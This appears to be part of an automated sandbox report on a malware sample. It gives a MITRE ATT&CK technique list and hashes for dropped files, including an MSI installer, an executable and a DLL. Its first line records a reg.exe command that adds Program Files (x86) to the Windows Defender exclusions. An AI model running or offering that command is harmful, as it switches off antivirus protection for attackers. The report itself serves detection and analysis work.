C:\Windows\System32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3428
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e594fcd.rbs
- Size 7KB
- SHA256 74e09ce25c3f2ab71da98129ce2391750adf0211314deaeae26157883a705320
- MD5 740074e07801859094b6a28fe26d3ae9
- SHA1 2674402aeee5906ea87c7af13e4f83af9222d2c3
- SHA512 41673ad32c16c8fdb62305b4695bf309eb30acba0569fe49d9025407285944e324743763bec3e61701cc9e8f6039537f85fcf35603c5bdaabcefd072a26f8fde
- SSDEEP 192:pQSC8d7lzPIIdPIW7d7A0aXWjPwE/bKpbNxTaTEbZ1:pRd7RPpPL7dc/XWjPwE/+NxTaTEbZ1
- TLSH T196F11E45BF0596D2EE962B34C31727253BB2C7DD9241634B0DCE80A06F0778BDED528A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\weTiyq\UXWaJm.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\weTiyq\UxEnhance64.dll
- Size 3.1MB
- SHA256 ad8139de905a9904774d09be3526e7a308201d6180bf4695f1f36a418e0aa0a8
- MD5 f1500bdb6bdc8bcc5a0b3c859c3e5add
- SHA1 885440df7293862fefa3f198cafe237868e84b5d
- SHA512 87a073c3b7dfabfe81354a43ded022006010fd36905ad585c9f728f43a22d30ed215c76613d2c05419fd1f484c53f10a8c3f2cb76160ddaf0b07b3bfff7288cc
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+L:P9m29xx3Tiqt06ox6+z2rNNrKoL
- TLSH T15CE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\weTiyq\adoresd.dat
- Size 4.8MB
- SHA256 dd2cd859734e6b6f149c4bf96a83cab984f5f2980c419a6630fb7fde666bc540
- MD5 737fbd121f5bf54ba789be21bf3ae4c9
- SHA1 428355d18382ba285844cdcc4cf3be9ae544bf5f
- SHA512 06fb84cdf4f9328209130bd968f35184add359fda6fe06ffa2031bde75f06b836df5a332829ca295d7b078cccf24cd066e43f94b6705e42fc299789181c85e77
- SSDEEP 98304:yuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:vQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T1E2363339536D9C62DDC7A0F8A49E4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\weTiyq\msadox.tb
- Size 8KB
- SHA256 dab07f78fb12cb714cef5a9e00c501867808cb1a441dd484a824a5ce2e652ccf
- MD5 f2eff21f4b155d0067a38d3b2b47fb96
- SHA1 70343352b80fbf78508528642c2640d4b8678b50
- SHA512 178665ceadfc87179d968e8fd58b833b240f81f18f8717d96c21374b48b3cfd07d49f8d2c3658a5ab132a9f8993f9e73a1ebe6d03afec96a1694366ebf006590
- SSDEEP 192:kqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ksZqZOXQ3uqvR2Kfzp
- TLSH T163029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI576E.tmp
- Size 5.6MB
- SHA256 25cff744fc1975bb15321359c683f98cf4abfb4af22b93dd01148c59bef08177
- MD5 fc654da87cbb85b12db390c7205c8999
- SHA1 43ce4970eafe885b4378944fe71cea49a71dbbeb
- SHA512 525c0fcfe4210bfa8732643bba26c919c012a011f2760e8d1b2f5f06c11ab3b79abaaf93b5bbb21b3e9cce016d2b7dd7ee48cd4078eeddc06307679782e280fc
- SSDEEP 98304:U8HsdYyFfMJhTZXuybsfe8i2pdkwdDXPNA4299ueFT8fZ:U8H6F1MJhTZ3Qe8i2XkgNA4V6YZ
- TLSH T1A04633D9BDCAB674C08BDBB01143A56DB02AB7C17E72CC297BE53D008EE351466B2749
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e594fcc.msi
- Size 5.6MB
- SHA256 a096ade5300da53bce79618c5be69e9d85b92f35095f2235f822c00ed61bd680
- MD5 68218b5a5c1a16f3fb89a50764d29758
- SHA1 dd720386b83120cdd695d4072206b843c6a42a6b
- SHA512 eff798c37a05bfaeb8d2d47a6e50832296b63c1e75d510e2a687288263bd15f68114ddee31bb7d0b09054007a9c5b28db4cac649719557d6a415699d991f4f5a
- SSDEEP 98304:z8HsdYyFfMJhTZXuybsfe8i2pdkwdDXPhA4299ueFT8fY:z8H6F1MJhTZ3Qe8i2XkghA4V6YY
- TLSH T14A5633D9BDCAA775C08BDBB01103A66DB12DBFC17E72CC2A7AE539004EB351466B2744
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 a29ad6ecb055c1fe155f3e4053878d84b965fda5c3ca8a2008ab0f7fb73188e3
- MD5 e04b7a1746967e58eee8446498e6f016
- SHA1 3d07466e84628e3f2d7fecda0af3b32a475eac9e
- SHA512 2c80672c88d0030fbe6fa8e154aded9d4017d37a8be75573086903f1766124fec4dbe7180c35575131f2068a77c19986d2e7b2d1cfadcf42fa4b7968146a0b03
- SSDEEP 24576:gFo3DMPXdoO/vvTL/Sg88iFQvrumHb7P0BKudxSUKpyKpb9cMoRWclmd4+S:mHU
- TLSH T10157B42436F92200E7F79E3DA8F06A234D397D5BAC15DE8D45511B4E0822F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61f3bad-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{b9318738-36be-48f4-943b-5c21818b2503}_OnDiskSnapshotProp
- Size 6KB
- SHA256 d113c9d0b1e493a53c7914fdbc4aa5390e05f90d168067859d5e13e77c21331b
- MD5 c2ef1cacbf741a82f172f79f41b65219
- SHA1 0ea5926fd487c479a8a4db08ba5907bfe6f81a12
- SHA512 b93ddb06aa0777cf55e6b18a2a036cefd185c916feddf2eb6f7a8ed22604dfb0b3756e36e2397d307ef5c6d4abded60d637c1caeaf5d090e934689126b872c01
- SSDEEP 96:FIfO75Cvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:+web++uVm
- TLSH T154D179085AF54711E2B3AB3129F14557A837B811EF33CB8E0198238E6671A10F975F6B
- MD5 SHA1 SHA512 SSDEEP TLSH